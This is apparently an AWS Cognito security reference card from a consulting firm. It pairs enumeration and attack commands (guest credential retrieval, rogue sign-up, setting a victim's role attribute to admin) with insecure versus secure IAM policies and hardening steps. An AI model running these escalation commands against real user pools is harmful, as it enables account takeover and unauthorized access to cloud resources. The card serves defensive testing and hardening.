Amazon Cognito provides authentication, authorization, and user management for web and mobile applications. User Pools handle sign-up/sign-in, Identity Pools provide temporary AWS credentials.
User directories for sign-up/sign-in functionality. Issues JWT tokens (ID, Access, Refresh) for authenticated users. Supports MFA, password policies, and custom authentication flows.
Key components: App clients, Lambda triggers, groups, hosted UI, custom domains, resource servers
Federated identities that exchange tokens for temporary AWS credentials via STS. Supports authenticated and unauthenticated (guest) access with role mapping.
Key components: Identity providers, IAM roles, role mapping rules, attribute mapping, basic vs enhanced auth flow
Cognito misconfigurations can lead to unauthorized account access, privilege escalation via identity pools, and exposure of sensitive user data. Overly permissive unauthenticated roles are a critical risk.
aws cognito-idp list-user-pools --max-results 60aws cognito-idp describe-user-pool --user-pool-id us-east-1_xxxxxaws cognito-idp list-user-pool-clients --user-pool-id us-east-1_xxxxxaws cognito-identity list-identity-pools --max-results 60aws cognito-identity get-identity-pool-roles --identity-pool-id us-east-1:xxx-xxxKey Technique: If unauthenticated access is enabled, get credentials with GetId + GetCredentialsForIdentity and check the IAM role permissions.
aws cognito-identity get-id \
--identity-pool-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx \
--no-sign-requestaws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx \
--no-sign-requestaws cognito-idp sign-up \
--client-id <app-client-id> \
--username attacker@evil.com \
--password 'P@ssw0rd123!' \
--no-sign-requestaws cognito-idp list-users \
--user-pool-id us-east-1_xxxxxaws cognito-idp admin-get-user \
--user-pool-id us-east-1_xxxxx \
--username victim@target.comaws cognito-idp admin-update-user-attributes \
--user-pool-id us-east-1_xxxxx \
--username victim@target.com \
--user-attributes Name=custom:role,Value=admin{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"s3:*",
"dynamodb:*",
"lambda:InvokeFunction"
],
"Resource": "*"
}]
}Unauthenticated role with broad permissions allows any visitor to access AWS resources
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:GetObject"],
"Resource": "arn:aws:s3:::public-assets/*"
}]
}Limited to read-only access on specific public bucket only
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": [
"iam:*",
"sts:AssumeRole"
],
"Resource": "*"
}]
}Authenticated users can escalate privileges via IAM and STS
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["s3:*"],
"Resource": [
"arn:aws:s3:::user-data/${cognito-identity.amazonaws.com:sub}/*"
]
}]
}Users can only access their own data using identity-based path restrictions
Unless absolutely required, disable unauthenticated identities in identity pools.
aws cognito-identity update-identity-pool \
--identity-pool-id us-east-1:xxx \
--identity-pool-name MyPool \
--no-allow-unauthenticated-identitiesRequire MFA for all users, especially for privileged operations.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id us-east-1_xxx \
--mfa-configuration ON \
--software-token-mfa-configuration Enabled=trueLimit which attributes users can read and write on app clients.
aws cognito-idp update-user-pool-client \
--user-pool-id us-east-1_xxx \
--client-id xxx \
--read-attributes email name \
--write-attributes ""Enable advanced security features for risk-based adaptive authentication.
aws cognito-idp update-user-pool \
--user-pool-id us-east-1_xxx \
--user-pool-add-ons AdvancedSecurityMode=ENFORCEDEnable client secrets for server-side applications to prevent client ID abuse.
# Generate secret during client creation
aws cognito-idp create-user-pool-client \
--user-pool-id us-east-1_xxx \
--client-name SecureApp \
--generate-secretUse pre-authentication and pre-token-generation triggers for custom validation.
aws cognito-idp update-user-pool \
--user-pool-id us-east-1_xxx \
--lambda-config PreAuthentication=arn:aws:lambda:...:validateAWS Cognito Security Card • Toc Consulting
Always obtain proper authorization before testing